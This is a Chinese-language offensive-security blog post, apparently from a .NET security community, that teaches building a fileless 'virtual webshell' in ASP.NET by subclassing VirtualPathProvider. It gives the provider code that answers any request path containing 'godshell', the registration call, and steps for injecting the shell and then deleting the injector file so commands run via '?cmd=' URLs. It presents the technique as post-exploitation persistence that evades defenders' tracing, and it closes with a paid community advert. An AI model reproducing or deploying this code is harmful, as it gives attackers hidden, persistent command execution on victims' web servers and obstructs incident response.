本次分享.NET FrameWork 2.0及以上版本如何实现虚拟Webshell,这种高级的隐匿手法得益于使用.NET VirtualPathProvider类,基于此类扩展的WebShell适用范围很广具备很强的通用性,而且也是在渗透阶段外网打点后维持权限的一种不错的方法,优点在于当主机不重启的情况下删除内存注入文件后依然有效,攻击者通过自定义访问URL执行虚拟Webshell造成防守方溯源难度更大难以排查,具体如何实现的原理及攻击方法请看本文完整的介绍
很多场景下实现页面或文件隐藏一般都继承自IHttpHandler或IHttpModule这两个HTTP请求生命周期范围内的核心接口,并在web.config文件中配置映射的扩展和注册的程序集,与之相比VirtualPathProvider更为强大。具体的适用场景如在某些特殊的情况下网站常规的文件、目录编排方式不能满足要求,可以把网站文件名和文件内容代码保存到数据库中,然后将这些数据库里的数据通过虚拟化技术编译生成可访问的HTTP地址,这些类通常定义在System.Web.Hosting命名空间内,如本文介绍的VirtualFile类及下节课程将要介绍的VirtualDirectory类,更为了更好的理解 VirtualPathProvider 类使用的实际场景,如下笔者在本地 SQL Server 上有一个如下图所示的数据库表,里面保存了3个页面,可以看到表里有一个文件名和aspx文件代码的内容。
首先来看VirtualPathProvider类,此类中定义了的FileExists、GetFile等方法非常有用,笔者也是重写这两个方法达成虚拟WebShell,先不谈继续往下看此类被定义在 System.Web.Hosting 命名空间里使 Web 应用程序可以从虚拟文件系统中检索注册的资源,该类位于System.Web.dll文件,自身是一个抽象类继承于父类MarshalByRefObject,因为是抽象类不能直接被实例化所以笔者需要自定义一个类去实现它。VirtualPathProvider.FileExists()表示文件是否存在于虚拟文件系统中告诉系统是否存在请求路径,如果存在则事件通知继续调用 GetFile 方法,VirtualPathProvider.GetFile() 表示从虚拟文件系统中获取一个虚拟文件,代码如下
public virtual bool FileExists(string virtualPath)
=> this._previous != null && this._previous.FileExists(virtualPath);
public virtual VirtualFile GetFile(string virtualPath)
=> this._previous == null ? (VirtualFile) null : this._previous.GetFile(virtualPath);
GetFile返回的是一个VirtualFile对象,此对象和VirtualPathProvider一样都是抽象的所以还需要自定义一个类去实现它,重写此抽象类里的Open方法实现数据保存到内存 MemoryStream,然后返回这个流,使用这个流读取内容,就好像读取物理盘符下的文件一样。
紧接着MarshalByRefObject类是一个.NET框架提供的基类,用于不同AppDomain之间对象之间的通信,此类也是通过使用代理交换消息来跨应用程序域边界进行通信的对象的。如下图
通常在Golbal.asax文件中的Application_Start方法内向托管应用程序提供应用程序管理功能和应用程序服务注册新实例,而在编写利用工具时也可以在Page_Load方法体内注册,代码如下
HostingEnvironment.
RegisterVirtualPathProvider(new MyVirtualPathProvider());
根据调用栈可以看出核心大致以 返回IHttpHandler接口的GetHandler类为起点进入.NET HTTP请求页面的生命周期,位于PageHandlerFactory页面句柄工厂类,如下代码
public virtual IHttpHandler GetHandler(HttpContext context, string requestType, string virtualPath, string path) {
Debug.Trace("PageHandlerFactory", "PageHandlerFactory: " + virtualPath);
return GetHandlerHelper(context, requestType, VirtualPath.CreateNonRelative(virtualPath), path);
}
private IHttpHandler GetHandlerHelper(HttpContext context, string requestType,
VirtualPath virtualPath, string physicalPath) {
Page page = BuildManager.CreateInstanceFromVirtualPath(
virtualPath, typeof(Page), context, true /*allowCrossApp*/) as Page;
if (page == null)
return null;
page.TemplateControlVirtualPath = virtualPath;
return page;
}
上述代码依次调用GetHandlerHelper方法以及运行时编译的核心类BulidManager的CreateInstanceFromVirtualPath方法,而BulidManager类非常庞大功能巨多,这里不展开讲后续系列里还会提及到它,此类涉及的GetVirtualPathObjectFactory、GetVPathBuildResultWithNoAssert、CompileWebFile等多个方法负责站点的动态编译,所有的页面或用户控件和所有的ASP.NET特殊目录都会在运行时被BuildManager编译,通常情况下在web.config文件中配置了不同扩展名文件选择不同的BuildProvider进行源码解析生成。例如下配置
<buildProviders>
<add extension=".aspx" type="System.Web.Compilation.PageBuildProvider"/>
<add extension=".ascx" type="System.Web.Compilation.UserControlBuildProvider"/>
<add extension=".master" type="System.Web.Compilation.MasterPageBuildProvider"/>
<add extension=".asmx" type="System.Web.Compilation.WebServiceBuildProvider"/>
<add extension=".ashx" type="System.Web.Compilation.WebHandlerBuildProvider"/>
<add extension=".soap" type="System.Web.Compilation.WebServiceBuildProvider"/>
<add extension=".resx" type="System.Web.Compilation.ResXBuildProvider"/>
<add extension=".resources" type="System.Web.Compilation.ResourcesBuildProvider"/>
<add extension=".wsdl" type="System.Web.Compilation.WsdlBuildProvider"/>
<add extension=".xsd" type="System.Web.Compilation.XsdBuildProvider"/>
</buildProviders>
BuildProvider类的GetCompilerTypeFromBuildProvider方法实现将文件内容转换成相应的源代码,紧接着System.Web.UI.TemplateParser类的ParseFile方法传递虚拟地址,到这里开始进入VirtualPathProvider类的OpenFile方法调用Open方法读取虚拟文件内容返回流数据,整个调用栈的过程如下图所示
public static Stream OpenFile(string virtualPath)
=> HostingEnvironment.VirtualPathProvider.GetFileWithCheck(virtualPath)
.Open();
笔者创建自定义的虚拟路径提供类MyVirtualPathProvider ,从上述4小节介绍得知需要继承System.Web.Hosting.VirtualPathProvider,而且必须重写FileExists和GetFile两个方法,笔者这里将虚拟Webshell的文件名定义为godshell{x}.aspx,这里的{x}表示占位符替代数字N,在FileExists方法里使用Contains方法判断路径中是否存在godshell字符串,如果存在返回true自动进入GetFile方法内实例化自定义的虚拟文件对象MyVirtualFile,核心代码
public class MyVirtualPathProvider : VirtualPathProvider
{
public override bool FileExists(string virtualPath)
{
virtualPath = virtualPath.ToLower();
if (virtualPath.Contains("godshell"))
{
return true;
}
else
{
return Previous.FileExists(virtualPath);
}
//return base.FileExists(virtualPath);
}
public override VirtualFile GetFile(string virtualPath)
{
virtualPath = virtualPath.ToLower();
if (virtualPath.Contains("godshell"))
{
return new MyVirtualFile(virtualPath);
}
else
{
return Previous.GetFile(virtualPath);
}
//return base.GetFile(virtualPath);
}
}
笔者创建自定义的MyVirtualFile如上所述是一个实现类,继承于VirtualFile类,重写Open方法因为返回的数据类型是Stream,所以在方法体内需要创建MemoryStream对象作为返回的值,当然笔者在该方法里添加进程启动代码后返回的Stream是NULL,另外在此类的构造方法里也可以添加达到同样的效果。如下图
运行第1步访问 /dotNetofVirtuaFile.aspx 将虚拟Webshell注入到内存,并删除此文件;第2步访问 /godshell.aspx?cmd=ipconfig 得到预期的结果信息,还可以扩展多个文件如 /godshell4.aspx?cmd=tasklist
.NET领域这样实现无文件落地的WebShell技术还有很多,如果对这些技巧感兴趣的话可以多关注我们的博客、公众号dotNet安全矩阵以及星球,下一篇将继续分享 .NET 实现虚拟WebShell系列第二章,请大伙继续关注。另外文章涉及的PDF和Demo以及工具已打包发布在星球,欢迎对.NET安全关注和关心的同学加入我们,在这里能遇到有情有义的小伙伴,大家聚在一起做一件有意义的事。
原价¥129当前只需¥99, 以后星球价格只会越来越高,对.NET安全关注的师傅们动动手加入我们吧!
dotNet安全矩阵知识星球 — 聚焦于微软.NET安全技术,关注基于.NET衍生出的各种红蓝攻防对抗技术、分享内容不限于 .NET代码审计、 最新的.NET漏洞分析、反序列化漏洞研究、有趣的.NET安全Trick、.NET开源软件分享、. NET生态等热点话题、还可以获得阿里、蚂蚁、字节等大厂内推的机会。